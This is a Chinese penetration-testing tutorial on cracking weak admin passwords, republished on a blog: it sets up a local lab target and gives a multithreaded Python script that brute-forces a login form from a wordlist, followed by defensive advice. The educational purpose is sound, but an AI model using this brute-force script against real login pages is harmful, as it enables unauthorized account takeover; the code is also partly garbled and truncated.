后台弱口令问题

 

 

网站的运营管理不能缺少后台管理系统的支持,若能成功进入后台管理系

统,就意味着在Web渗透测试中成功了一大半。进行非授权登录有很多种方法, 这里主要介绍的是弱口令问题,破解弱口令是进入系统的最常见也是最有效的方 法,防御方要对该方法加以重视。

 

 

 

 

 

 

7.2.1    编写脚本

首先,我们需要在靶机上搭建服务器,这里靶机的系统为Windows 10(IP地 址为192.168.123.124),具体步骤如下。

首先安装phpStudy并启动服务,这样服务器就会在80端口上对外提供HTTP的 服务,如图7-3所示。

fbb4404324c2426f82634fdeeecbe7d3.png

图7-3    安装phpStudy并启动服务

然后将这里的靶场源码文件(WeakPass-word)复制到phpStudy的网站根目录 下。可以点击phpStudy界面上的“其他选项菜单”按钮,再选择“ 网站根目录” ,此  时会自动弹出网站根目录。

打开浏览器,输入http://192.168.123.124/WeakPassword/login.html ,如图7-4所 示。

 

 

 

 

 

e982c17e775d4d519b8cf124566606aa.png

图7-4    靶机页面

提示:若出现无法访问靶机网页的情况,请检查靶机的防火墙是否开放80端 口。

此时靶机的HTTP服务是正常启动的,这里还需要在数据库中增加管理员的  账号、密码数据。接下来需要在靶机服务器上安装Navicat for MySQL工具来管理 数据库,该工具界面如图7-5所示。

 

 

 

 

 

8cf15684374d4582b5c9fd77ec1be604.png

图7-5    Navicat for MySQL工具

点击“连接”按钮,新建一个MySQL连接,填写的信息如下:

 

49d5286bc1c44f91b9938f8c049cfbba.png

这里需要注意的是,IP地址127.0.0.1和localhost都表示本地的MySQL数据   库,如果将IP地址填写为靶机服务器的IP地址192.168.123.124 ,则会出现拒绝连 接的情况,如图7-6所示。

 

 

 

 

 

44e3be7aede2433ba5294f4f321115fd.png

图7-6    拒绝连接

这是因为MySQL默认是拒绝远程用户通过root进行登录的,可修改MySQL数 据库中user表的内容来解决这个问题。填写完信息后,可以点击“连接测试”按钮  来测试数据库是否能够正常访问,如果能正常访问,则会出现“连接成功” 的提

示,如图7-7所示。

然后点击“确定”按钮,连接就会出现在左侧栏的连接信息窗口里面。接下来 双击打开数据库并右击,选择“运行SQL文件”命令,选择ms08067.sql文件并点   击“开始”按钮,成功导入数据时会出现如图7-8所示的提示。

 

 

 

 

 

4c3ac5894cfe484c84525bac44747a0c.png

图7-7    连接成功

 

 

 

 

 

e1222476454c43c69ac998e80e58c2a6.png

图7-8    导入数据成功

到这里,我们的靶场环境就搭建成功了。

接下来,需要对网页提交的POST数据包进行分析,找出弱口令破解所需要的 字段信息。这里使用Burp Suite对网页提交的数据包进行拦截并查看,信息如下所 示:

 

 

 

 

 

b846253096c940bcb618508cf895466c.png

此时,将这个数据包发送出去,网页中会出现“Login failed!” 的提示,说明 登录失败。

假设在前期的信息搜集过程中我们知道了该后台系统管理员的个人基本信息 (这里采用7.1.1节中的数据),那么,现在只需要让脚本读取7.1.1节生成的社会 工程学密码字典文件,并模拟发送POST数据包,若返回的页面内不包含“Login    failed!”字符串信息,则表示我们找到了正确的密码。

f22da56bdab24d7d8e2796ea40c18013.png

设计思路:为了确保爆破弱密码的高效性,我们采用了多线程的方式,让脚 本分别读取目录下的username和passwords文件的内容,并将读取到的内容根据

BLOCK_SIZE的大小分割成许多的账户块和密码块,让每个子线程遍历自己分配  到的账户块和密码块中的数据,模拟POST请求进行破解,若子线程找到了正确的 账户密码,则显示结果并保存到result文件中,然后退出脚本。

 

 

 

 

 

接下来就可以开始编写后台密码爆破脚本了。

1)写入脚本信息,导入相关的模块:

 

#!/usr/bin/python3

# -*- coding: utf-8 -*-

import os

import threading

import requests

# 分块大小

BLOCK_SIZE = 1000

2)编写列表分块函数,将传入的列表分割成多个子列表:

# 列表分块函数

def partition(ls, size) :

return [ls[i :i+size] for i in range(0,len(ls),size)]

 

3)编写破解函数,该函数主要负责对数据进行分割、创建子线程并分配任 务等前期工作:

def BruteForceHttp() :

# 读取账号文件和密码文件并存入对应列表

listUsername = [line .strip() for line in open("username")]

listPassword = [line .strip() for line in open("passwords")]

# 对账号列表和密码列表进行分块处理

blockUsername = partition(listUsername, BLOCK_SIZE)

blockPassword = partition(listPassword, BLOCK_SIZE)

threads = []

# 把不同的密码子块分给不同的线程去破解

for sonUserBlock in blockUsername:

for sonPwdBlock in blockPassword :

# 传入账号子块和密码子块实例化任务

work = ThreadWork(sonUserBlock,sonPwdBlock)

# 创建线程

workThread = threading .Thread(target=work.start)

# 在threads中加入线程

threads .append(workThread)

# 开始子线程

for t in threads:

t.start()

# 阻塞主线程,等待所有子线程完成工作

for t in threads:

t.join()

4)创建子线程任务类,在其中具体定义子线程应该如何进行破解工作:

class ThreadWork :

# 目标URL

url = "http://192 .168 .123 .124/WeakPassword/login .php"

headers = {

'User-Agent ' : 'Mozilla/5 .0 (Macintosh; Intel Mac OS X 10 7 3) AppleWebKit/535 .20 '

'(KHTML, like Gecko) '

 

 

 

 

 

'Chrome/19 .0 .1036 .7 Safari/535 .20 '

}

# 类的构造函数

def __init__(self,username,password) :

self.username = username

self.password = password

# 根据传入的账户密码进行破解

def run(self,username,password) :

data = {

'username ' : username,

'password ' : password,

'submit ' : '%E7%99%BB%E5%BD%95 '

}

# 显示正在尝试的数据

print("username:{},password :{}" .format(username,password))

# 发送post请求

response = requests .post(self.url,data=data,headers=self.headers)

# 根据返回的内容中是否包含登录失败的提示来判断是否登录成功

if 'Login failed! ' in response .text :

pass

else:

# 找到正确的账户密码后,就把账户密码显示出来并输出到result文件中,并 让程序终止

print("success !!! username: {}, password : {}" .format

(username, password))

resultFile = open( 'result ', 'w ')

resultFile .write("success !!! username: {}, password : {}" . format(username, password))

resultFile .close()

# 程序终止,0表示正常退出

os ._exit(0)

# 从传递进来的账户子块和密码子块中遍历数据

def start(self) :

for userItem in self.username:

for pwdItem in self.password :

# 传入账户和密码数据进行破解

self.run(userItem,pwd Item)

 

5)编写main 函数:

if __name__ == '__main__ ' :

print("\n#####################################")

print("#

print("#

print("#

这样我们的破解脚本就完成了。运行后结果如下所示:

4a78f0bb4a1c47a1abc412c371a52845.png

 

 

 

 

 

 

7.2.2    防御策略

 

通过上述编写脚本的过程我们也可以看出,通过脚本使具有可能性的密码组 合不断地猜解后台的密码,很有可能找到弱口令。因此,要预防弱口令爆破,可 以使用以下方式:

· 设定密码验证阈值,超过阈值将进行锁定。

·使用的密码尽量具有一定的复杂性,避免使用个人信息作为密码。推荐使用 类似1Password的密码管理工具。

· 定期更换密码。

· 更改后台的默认路径,避免后台地址被猜测到。

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/670863.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何在 Java 中通过 Map.Entry 访问 Map 的元素

我们使用 Map.Entry 来遍历 ConcurrentHashMap 的代码片段如下&#xff1a; for (Map.Entry<String, String> entry : map.entrySet()) { System.out.println("Key: " entry.getKey() ", Value: " entry.getValue()); } 在 Map.java 中&…

RabbitMQ_00000

MQ的相关概念 RabbitMQ官网地址&#xff1a;https://www.rabbitmq.com RabbitMQ API地址&#xff1a;https://rabbitmq.github.io/rabbitmq-java-client/api/current/ 什么是MQ&#xff1f; MQ(message queue)本质是个队列&#xff0c;FIFO先入先出&#xff0c;只不过队列中…

架构篇31:如何应对接口级的故障?

文章目录 降级熔断限流排队小结异地多活方案主要应对系统级的故障,例如,机器宕机、机房故障、网络故障等问题,这些系统级的故障虽然影响很大,但发生概率较小。在实际业务运行过程中,还有另外一种故障影响可能没有系统级那么大,但发生的概率较高,这就是今天我们要讨论的如…

web前后端小坑记录

游戏服务器过年这段时间忙完了&#xff0c;好久没看web了&#xff0c;重温一下。发现竟然没有文章记录这些修BUG的过程&#xff0c;记录一下。 目录 如何处理F5刷新&#xff1f; 如何处理F5刷新&#xff1f; 后端应该发现路由不存在&#xff0c;直接返回打包好的index.html就…

学习使用shell脚本获取进程号并杀死进程

学习使用shell脚本获取进程号并杀死进程 #!/bin/bash process_name"qipa250_process_name" pid$(ps -ef | grep "$process_name" | grep -v grep | awk {print $2}) if [[ -n $pid ]]; thenecho "Killing process $pid"kill -9 $pid elseecho &q…

白话编程--数据结构概述

前言 1>计算机编程最重要的内容之一. 用框架调用几个API,传了几个数据,看到一些效果,以为自己行了.但稍微改变一下需求又得手忙脚乱一阵子.说明对关键概念的理解和运用还不是很深刻.看数据结构,学底层原理,才是提高水平的要义. 2>计算机编程最让人头疼的内容之一 到处是指…

2024美赛数学建模C题完整论文教学(含十几个处理后数据表格及python代码)

大家好呀&#xff0c;从发布赛题一直到现在&#xff0c;总算完成了数学建模美赛本次C题目Momentum in Tennis完整的成品论文。 本论文可以保证原创&#xff0c;保证高质量。绝不是随便引用一大堆模型和代码复制粘贴进来完全没有应用糊弄人的垃圾半成品论文。 C论文共49页&…

第6节、T型加减速转动【51单片机+L298N步进电机系列教程】

↑↑↑点击上方【目录】&#xff0c;查看本系列全部文章 摘要&#xff1a;本章介绍步进电机T型加减速的控制方法&#xff0c;分三个小节&#xff0c;本小节主要内容为该控制方法的推导与计算。目前各平台对该控制方法介绍的文章目前较多&#xff0c;但部分关键参数并未给出推导…

Linux【docker 设置阿里源】

文章目录 一、查看本地docker的镜像配置二、配置阿里镜像三、检查配置 一、查看本地docker的镜像配置 docker info一般没有配置过是不会出现Registry字段的 二、配置阿里镜像 直接执行下面代码即可&#xff0c;安装1.10.0以上版本的Docker客户端都会有/etc/docker 1.建立配置…

Android编程权威指南(第四版)-第 3 章 activity的生命周期

文章目录 代码:MainActivityQuestionactivity_main.xmlactivity_main.xml(land)string.xml代码: 大体是一样的,修改了一些 MainActivity package com.example.geoquizimport androidx.appcompat.app.AppCompatActivity import android.os.Bundle import android.util.Log…

在openSUSE-Leap-15.5-DVD-x86_64中使用deepin-wine-8.16再使用微信3.9.7.29

在openSUSE-Leap-15.5-DVD-x86_64中使用deepin-wine-8.16再使用微信3.9.7.29 《在openSUSE-Leap-15.5-DVD-x86_64中使用deepin-wine-6.0.0.62再使用微信3.9.5》 https://blog.csdn.net/weixin_42145772/article/details/135074804?spm1001.2014.3001.5501 按照上面文章的方法…

前端框架和组件库的区别与联系

前端框架和组件库是前端开发中常用的两个概念&#xff0c;它们有一些区别和联系。 前端框架是一种开发工具&#xff0c;它提供了一整套解决方案和规范&#xff0c;用于帮助开发者构建复杂的前端应用。框架通常包括了一系列的工具、库和规范&#xff0c;用于处理路由、状态管理…

计算机设计大赛 深度学习 python opencv 实现人脸年龄性别识别

文章目录 0 前言1 项目课题介绍2 关键技术2.1 卷积神经网络2.2 卷积层2.3 池化层2.4 激活函数&#xff1a;2.5 全连接层 3 使用tensorflow中keras模块实现卷积神经网络4 Keras介绍4.1 Keras深度学习模型4.2 Keras中重要的预定义对象4.3 Keras的网络层构造 5 数据集处理训练5.1 …

习题2.1 与7无关的数

描述 一个正整数,如果它能被7整除,或者它的十进制表示法中某个位数上的数字为7, 则称其为与7相关的数.现求所有小于等于n(n<100)的与7无关的正整数的平方和。 #include <stdio.h>int fun(int a);int main() {int n,sum 0;while (scanf("%d", &n) ! EO…

electron实现软件(热)更新(附带示例源码)

热更新指的是&#xff1a;electron 程序已经开启&#xff0c;在不关闭的情况下执行更新&#xff0c;需要我们把远程的app.asar文件下载到本地执行替换&#xff0c;然而 在electron应用程序开启状态是无法直接下载app.asar文件的&#xff0c;下载会检查出app.asar文件被占用&…

uniapp父子组件通信

在Uni-app中&#xff0c;可以使用props和$emit方法实现父子组件之间的通信。 父组件向子组件传递数据&#xff08;props&#xff09;&#xff1a; 1. 在父组件中&#xff0c;在子组件的标签上使用属性绑定方式传递数据 <template> <child-component :message"p…

飞天使-k8s知识点16-kubernetes实操1-pod

文章目录 深入Pod 创建Pod&#xff1a;配置文件详解写个pod的yaml 文件深入Pod 探针&#xff1a;探针技术详解 深入Pod 创建Pod&#xff1a;配置文件详解 资源清单参考链接&#xff1a;https://juejin.cn/post/6844904078909128712写个pod的yaml 文件 apiVersion: v1 kind: P…

Android Compose 一个音视频APP——Magic Music Player

Magic Music APP Magic Music APP Magic Music APP概述效果预览-视频资源功能预览Library歌曲播放效果预览歌曲播放依赖注入设置播放源播放进度上一首&下一首UI响应 歌词歌词解析解析成行逐行解析 视频播放AndroidView引入Exoplayer自定义Exoplayer样式横竖屏切换 歌曲多任…

Unix五种I/O模型(阻塞、非阻塞、多路复用、信号驱动、异步)

文章目录 概要一、I/O基础二、阻塞式I/O三、非阻塞式I/O三、I/O多路复用四、信号驱动I/O五、异步I/O六、小结 概要 在工作中&#xff0c;经常使用Nginx、Redis等开源组件&#xff0c;常提到其高性能的原因是网络I/O的实现是基于epoll&#xff08;多路复用&#xff09;。这次呢…

Android设置默认8时区和默认24小时制

1、写在前面 不同的产品开发有不同的需求对于默认的时间 2设置默认8时区和默认24小时制的核心类 build/make/tools/buildinfo_common.sh framework/base/packages/apps/SettingsProvider/res/values/defaults.xml framework/base/packages/apps/SettingsProvider/src/com/an…